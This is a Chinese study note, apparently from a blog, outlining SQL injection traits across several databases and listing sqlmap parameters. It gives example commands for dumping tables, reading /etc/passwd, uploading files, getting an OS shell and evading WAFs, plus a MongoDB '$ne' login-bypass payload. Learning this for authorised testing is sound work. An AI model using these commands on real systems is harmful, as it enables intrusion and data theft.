网络安全之攻防笔记--通用安全漏洞SQL注入sqlmapOraclemongodbDB2

  • 通用安全漏洞SQL注入&sqlmap&Oracle&mongodb&DB2
    • 数据库类型
      • ACCESS
        • 特性
          • 没数据库用户
          • 没数据库权限
          • 没数据库查询参数
          • 没有高权限注入说法
        • 暴力猜解,借助字典得到数据
        • 注入方式
          • 联合注入
          • 偏移注入
        • 表名列名猜解不到
          • 偏移注入
      • MySQL
        • 低权限
          • 常规注入
        • 高权限
          • 常规注入
          • 文件读取
            • load_file
          • 文件写入
            • into outfile
        • 权限原因&判断
          • 代码连接用户决定
          • 查询函数user()
          • 其他
            • database()
            • version()
            • @@version_compile_os
      • MSSQL
        • 低权限
          • 常规注入
        • 高权限
          • 常规注入
          • 文件读取
          • 文件读写
          • 命令执行
          • 注册表读取
        • 权限原因&判断
          • 代码连接用户决定
          • 查询函数-user()
          • 其他
            • db_name() 当前数据库名字
            • @@version 获取版本信息
            • @@SERVERNAME 获取服务器主机信息
      • postgreSQL
        • 低权限
          • 常规注入
        • 高权限
          • 参考:https://www.freebuf.com/sectool/2493721.html
          • 常规注入
          • 文件读取
          • 文件写入
        • 权限原因&判断
          • 代码连接用户决定
          • 查询函数current_user
          • 其他
            • version()
            • current_database()
      • db2
        • 特性:
          • 数据库结构复杂,表名和列名通常需要猜解。
          • 高权限用户可以通过 LOAD 和 CALL 执行系统命令。
        • 注入方式:
          • 联合注入:通过 UNION SELECT 获取数据。
          • 报错注入:通过 XMLQUERY 等函数触发报错。
        • 权限判断:
          • 使用 SELECT user FROM sysibm.sysdummy1 查询当前用户。
          • 使用 SELECT * FROM sysibm.sysversions 查询数据库版本。
      • sybase
        • Sybase 的基本特点
          • 支持标准的 SQL 语法。
          • 支持存储过程、触发器等高级功能。
          • 数据库结构包括数据库、表、视图、存储过程等。
        • 2. Sybase 的权限模型
          • 高权限用户(如 sa)可以执行系统命令、读写文件等操作。
          • 低权限用户只能访问特定的数据库对象。
          • Sybase 的权限分为数据库用户和角色。
      • oracle
        • 特性:
          • 数据库结构复杂,表名和列名通常需要猜解。
          • 高权限用户可以通过 UTL_FILE 读写文件。
        • 注入方式:
          • 联合注入:通过 UNION SELECT 获取数据。
          • 报错注入:通过 ctxsys.drithsx.sn 等函数触发报错。
        • 权限判断:
          • 使用 SELECT user FROM dual 查询当前用户。
          • 使用 SELECT * FROM v$version 查询数据库版本。
      • mangodb
        • 特性:
          • NoSQL 数据库,不支持传统 SQL 注入。
          • 可能存在 NoSQL 注入漏洞,通常通过 JSON 查询注入。
        • 注入方式:
          • 通过修改 JSON 查询条件,绕过身份验证或获取数据。
          • { "username": {"$ne": ""}, "password": {"$ne": ""} }
    • 注入神器
      • SQLMAP
        • 文档介绍 | sqlmap 用户手册
        • 常见参数
          • 1. 指定目标
            • --data:指定 POST 请求的数据。
              • sqlmap -u "http://example.com/login" --data="username=admin&password=123"
            • --cookie:指定 Cookie。
              • sqlmap -u "http://example.com/page?id=1" --cookie="sessionid=12345"
            • -u 或 --url:指定目标 URL。
              • sqlmap -u "http://example.com/page?id=1"
          • 2. 指定注入点
            • --skip:跳过某些参数的测试。
              • sqlmap -u "http://example.com/page?id=1&name=test" --skip="name"
            • -p:指定需要测试的参数。
              • sqlmap -u "http://example.com/page?id=1&name=test" -p "id"
          • 3. 指定数据库类型
            • --dbms:指定目标数据库类型(如 MySQL、Oracle、PostgreSQL 等)。
              • sqlmap -u "http://example.com/page?id=1" --dbms=MySQL
          • 4. 获取数据库信息
            • --current-db:获取当前数据库名称。
              • sqlmap -u "http://example.com/page?id=1" --current-db
            • --tables:枚举指定数据库的表。
              • sqlmap -u "http://example.com/page?id=1" -D database_name --tables
            • --dbs:枚举所有数据库。
              • sqlmap -u "http://example.com/page?id=1" --dbs
            • --columns:枚举指定表的列。
              • sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --columns
            • --dump:导出表数据。
              • sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --dump
          • 5. 高级功能
            • --risk:设置风险等级(1-3,默认 1),风险越高,测试越激进。
              • sqlmap -u "http://example.com/page?id=1" --risk=2
            • --threads:设置并发线程数。
              • sqlmap -u "http://example.com/page?id=1" --threads=5
            • --batch:自动选择默认选项,无需用户交互。
              • sqlmap -u "http://example.com/page?id=1" --batch
            • --level:设置测试等级(1-5,默认 1),等级越高,测试越全面。
              • sqlmap -u "http://example.com/page?id=1" --level=3
          • 6. 文件加载
            • -l:从日志文件中加载目标。
              • sqlmap -l logfile.txt
            • -r:从文件中加载 HTTP 请求。
              • sqlmap -r request.txt
          • 7. 绕过 WAF/IDS
            • --tamper:使用脚本绕过 WAF(Web 应用防火墙)或 IDS(入侵检测系统)。
              • sqlmap -u "http://example.com/page?id=1" --tamper=space2comment
          • 8. 其他常用参数
            • --sql-shell:获取 SQL 交互式 shell。
              • sqlmap -u "http://example.com/page?id=1" --sql-shell
            • --file-read:读取服务器上的文件。
              • sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
            • --file-write 和 --file-dest:上传文件到服务器。
              • sqlmap -u "http://example.com/page?id=1" --file-write="local_file" --file-dest="/remote/path"
            • --os-shell:尝试获取操作系统的 shell。
              • sqlmap -u "http://example.com/page?id=1" --os-shell
          • 示例 1:检测注入点
            • sqlmap -u "http://example.com/page?id=1"
          • 示例 2:枚举数据库
            • sqlmap -u "http://example.com/page?id=1" --dbs
          • 示例 3:导出表数据
            • sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --dump
          • 示例 4:获取操作系统 shell
            • sqlmap -u "http://example.com/page?id=1" --os-shell
          • 示例 5:绕过 WAF
            • sqlmap -u "http://example.com/page?id=1" --tamper=space2comment --level=5 --risk=3

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/70660.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【信息系统项目管理师-案例真题】2022下半年案例分析答案和详解

更多内容请见: 备考信息系统项目管理师-专栏介绍和目录 文章目录 试题一(24分)【问题1】(6分)【问题2】(10分)【问题3】(8分)试题二(26分)【问题1】(8分)【问题2】(8分)【问题3】(4分)【问题4】(6分)试题三(25分)【问题1】(12分)【问题2】(7分)【问题…

正点原子[第三期]Arm(iMX6U)Linux系统移植和根文件系统构建-5.3 xxx_defconfig过程

前言: 本文是根据哔哩哔哩网站上“arm(iMX6U)Linux系统移植和根文件系统构键篇”视频的学习笔记,在这里会记录下正点原子 I.MX6ULL 开发板的配套视频教程所作的实验和学习笔记内容。本文大量引用了正点原子教学视频和链接中的内容。 引用: …

C++初阶——简单实现list

目录 1、前言 2、List.h 3、Test.cpp 1、前言 1. 简单实现std::list,重点:迭代器,模板类,运算符重载。 2. 并不是,所有的类,都需要深拷贝,像迭代器类模板,只是用别的类的资源&am…

conda环境中运行“python --version“所得的版本与环境中的python版本不一致----deepseek并非全能

conda环境中运行python —version所得python版本与conda环境中的python版本不一致------deepseek并非全能 问题 conda环境中运行python —version所得python版本与conda环境中的python版本不一致 我所做的探索 1 网页搜索 2 求助于DeepSeek 可以用四个字来形容deepseek给出…

HarmonyOS学习第5天: Hello World的诞生之旅

鸿蒙初印象:开启探索之门 在操作系统的广袤天地中,HarmonyOS(鸿蒙系统)宛如一颗冉冉升起的新星,自诞生起便备受瞩目。它由华为倾力打造,是一款基于微内核的全场景分布式操作系统,以其独特的技术…

centos9安装k8s集群

以下是基于CentOS Stream 9的Kubernetes 1.28.2完整安装流程(containerd版): 一、系统初始化(所有节点执行) # 关闭防火墙 systemctl disable --now firewalld# 关闭SELinux sed -i "s/SELINUXenforcing/SELINU…

CIG容器重量级监控系统

1.介绍 CAdvisorinfluxDBGranfana docker 原生命令 监控docker容器状态 docker stats 2.CAdvicsor 3.InfluxDB 4.Granafana 5.搭建 volumes:grafana_data: services:influxdb:image: tutum/influxdbrestart: alwaysenvironment:- PRE_CREATE_DBcadvisorports:- "8083…

REACT学习DAY02(恨连接不上服务器)

受控表单绑定 概念&#xff1a;使用React组件的状态&#xff08;useState&#xff09;控制表单的状态 1. 准备一个React状态值 const [value,setValue] useState() 2. 通过value属性绑定状态&#xff0c;通过onChange属性绑定状态同步的函数 <input type"text&quo…

python——GUI图形用户界面编程

GUI简介 我们前面实现的都是基于控制台的程序&#xff0c;程序和用户的交互通过控制台来完成 本章&#xff0c;我们来学习GUI图形用户界面编程&#xff0c;我们可以通过python提供的丰富的组件&#xff0c;快速的视线使用图形界面和用户交互 GUI变成类似于“搭积木”&#x…

DeepSeek 助力 Vue 开发:打造丝滑的单选按钮(Radio Button)

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享一篇文章&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495; 目录 Deep…

美颜相机1.0

项目开发步骤 1 界面开发 美颜相机界面构成&#xff1a; 标题 尺寸 关闭方式 位置 可视化 2 创建主函数调用界面方法 3 添加两个面板 一个是按钮面板一个是图片面板 用JPanel 4 添加按钮到按钮面吧【注意&#xff1a;此时要用初始化按钮面板的方法initBtnPanel 并且将按钮添…

openharmony中hdf框架的驱动消息机制的实现原理

openharmony中hdf框架的驱动消息机制的实现原理 在分析hdf框架时发现绕来绕去的&#xff0c;整体梳理画了一遍流程图&#xff0c;发现还是有点模糊甚至不清楚如何使用的&#xff0c;详细的每个点都去剖析细节又过于消耗时间&#xff0c;所以有时间便从功能应用的角度一块块的去…

leaflet实现历史轨迹播放效果

效果图如下&#xff1a; 效果实现&#xff1a; 1、添加完整轨迹线&#xff0c;蓝色的 this.echoLine L.polyline(points, { weight: 8 }).addTo(this.map) 2、添加实时轨迹线&#xff0c;初始状态置空 this.realEchoLine L.polyline([], { weight: 12, color: "#FF9…

JAVAEE一>Spring IoC和DI详解

目录 Spring容器说明&#xff1a;Ioc容器优势&#xff1a;DI介绍&#xff1a;从Spring获取对象&#xff1a;获取对象的方法&#xff1a;关于上下文的概念&#xff1a; Controller注解&#xff08;控制层&#xff1a;接收参数并响应&#xff09;&#xff1a;Service注解&#xf…

(四)趣学设计模式 之 原型模式!

目录 一、 啥是原型模式&#xff1f;二、 为什么要用原型模式&#xff1f;三、 原型模式怎么实现&#xff1f;四、 原型模式的应用场景五、 原型模式的优点和缺点六、 总结 &#x1f31f;我的其他文章也讲解的比较有趣&#x1f601;&#xff0c;如果喜欢博主的讲解方式&#xf…

完美解决:.vmx 配置文件是由 VMware 产品创建,但该产品与此版 VMware Workstation 不兼容

参考文章&#xff1a;该产品与此版 VMware Workstation 不兼容&#xff0c;因此无法使用 问题描述 当尝试使用 VMware Workstation 打开别人的虚拟机时&#xff0c;可能会遇到以下报错&#xff1a; 此问题常见于以下场景&#xff1a; 从其他 VMware 版本&#xff08;如 ESX…

Linux——安装Git的方法

安装Git的命令&#xff1a; yum -y install git查看Git的版本&#xff1a; git --version

编程小白冲Kaggle每日打卡(13)--kaggle学堂:<机器学习简介>基础数据探索

Kaggle官方课程链接&#xff1a;Basic Data Exploration 本专栏旨在Kaggle官方课程的汉化&#xff0c;让大家更方便地看懂。 Basic Data Exploration 加载并理解您的数据。 使用Pandas熟悉您的数据 任何机器学习项目的第一步都是熟悉数据。您将使用Pandas库进行此操作。Pand…

从零开始的网站搭建(以照片/文本/视频信息通信网站为例)

本文面向已经有一些编程基础&#xff08;会至少一门编程语言&#xff0c;比如python&#xff09;&#xff0c;但是没有搭建过web应用的人群&#xff0c;会写得尽量细致。重点介绍流程和部署云端的步骤&#xff0c;具体javascript代码怎么写之类的&#xff0c;这里不会涉及。 搭…

【Java项目】基于SpringBoot的【高校校园点餐系统】

【Java项目】基于SpringBoot的【高校校园点餐系统】 技术简介&#xff1a;采用Java技术、MySQL数据库、B/S结构实现。 系统简介&#xff1a;高校校园点餐系统是一个面向高校师生的在线点餐平台&#xff0c;主要分为前台和后台两大模块。前台功能模块包括&#xff08;1&#xff…